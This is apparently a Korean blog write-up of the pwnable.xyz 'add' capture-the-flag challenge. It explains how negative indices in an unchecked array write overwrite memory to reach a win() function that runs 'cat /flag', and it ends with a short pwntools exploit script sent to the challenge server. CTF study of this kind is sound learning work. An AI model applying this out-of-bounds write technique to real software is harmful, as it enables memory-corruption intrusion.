v5 + 7 의 값이 0xB000000B5 이어야 win() 함수를 호출한다.
win() 함수에서는 system 함수를 통해 cat /flag 명령을 실행한다. flag 파일이 열리면서 flag를 출력할 것이다.
따라서 while문이 돌아가는 동안, v6, v7, v8의 값을 적절히 넣어줘서 최종적으로 v5 + 7 을 0xB000000B5으로 만들어야 한다.
v5[v8 + 6] = v6 + v7;
이므로, v6 + v7을 통해 값을 넣어주고, v8을 통해 위치를 지정해야 한다.
주의해야 할 점은, 16진수 데이터는 들어가게 되면 리틀엔디언 방식으로 저장되므로, 그것을 고려해서 16진수 값을 10진수로 변환해서 값을 줘야한다.
v5 + 7 값을 0x b000 0000 0000 00b5 = b000 0000 0000 00b5 로 바꿔야 하는데,
V5[v8 + 6] = v6 + v7에서 v5[0] 값을
0x b500 0000 0000 0000 => 0000 0000 0000 00b5
로 값을 넣어준다.
그리고 다음 while문에서 다시 입력받을 때 v5[1]에
0x 0000 0000 0b00 0000 => 0000 000b 0000으로 넣는다.
따라서 10진수로 v6 + v7을 넣어주는데 하나만 신경써서 넣고 v7은 0으로 넣어주겠다.
그리고 v8은 처음엔 -6, 그 다음엔 -5로 넣는다.
처음 넣는 음수는 0x 0000 0000 0000 00b5 의 음수값이다.
(바이너리를 다운받아서 해서 flag가 없어서 오류가 생겼지만 있었으면 flag가 출력됐을 것이다.)
+ 문제를 풀 당시에 nc로 잘 안 됐어서 바이너리로 했었는데 다시 해보니까 됐다.
#!/usr/bin/python
from pwn import *
p = remote("svc.pwnable.xyz", 30003)
p.sendline("-5404319552844595200 0 -6")
p.sendlineafter("Result: ", "184549376 0 -5")
p.sendlineafter("Result: ", "1 2 516")
p.interactive()
성공!
[pwnable.xyz] Grownup (0) | 2019.09.27 |
---|---|
[pwnable.xyz] note (0) | 2019.09.27 |
[pwnable.xyz] add (0) | 2019.09.05 |
[pwnable.xyz] sub (0) | 2019.09.05 |
[pwnable.xyz] welcome (0) | 2019.09.04 |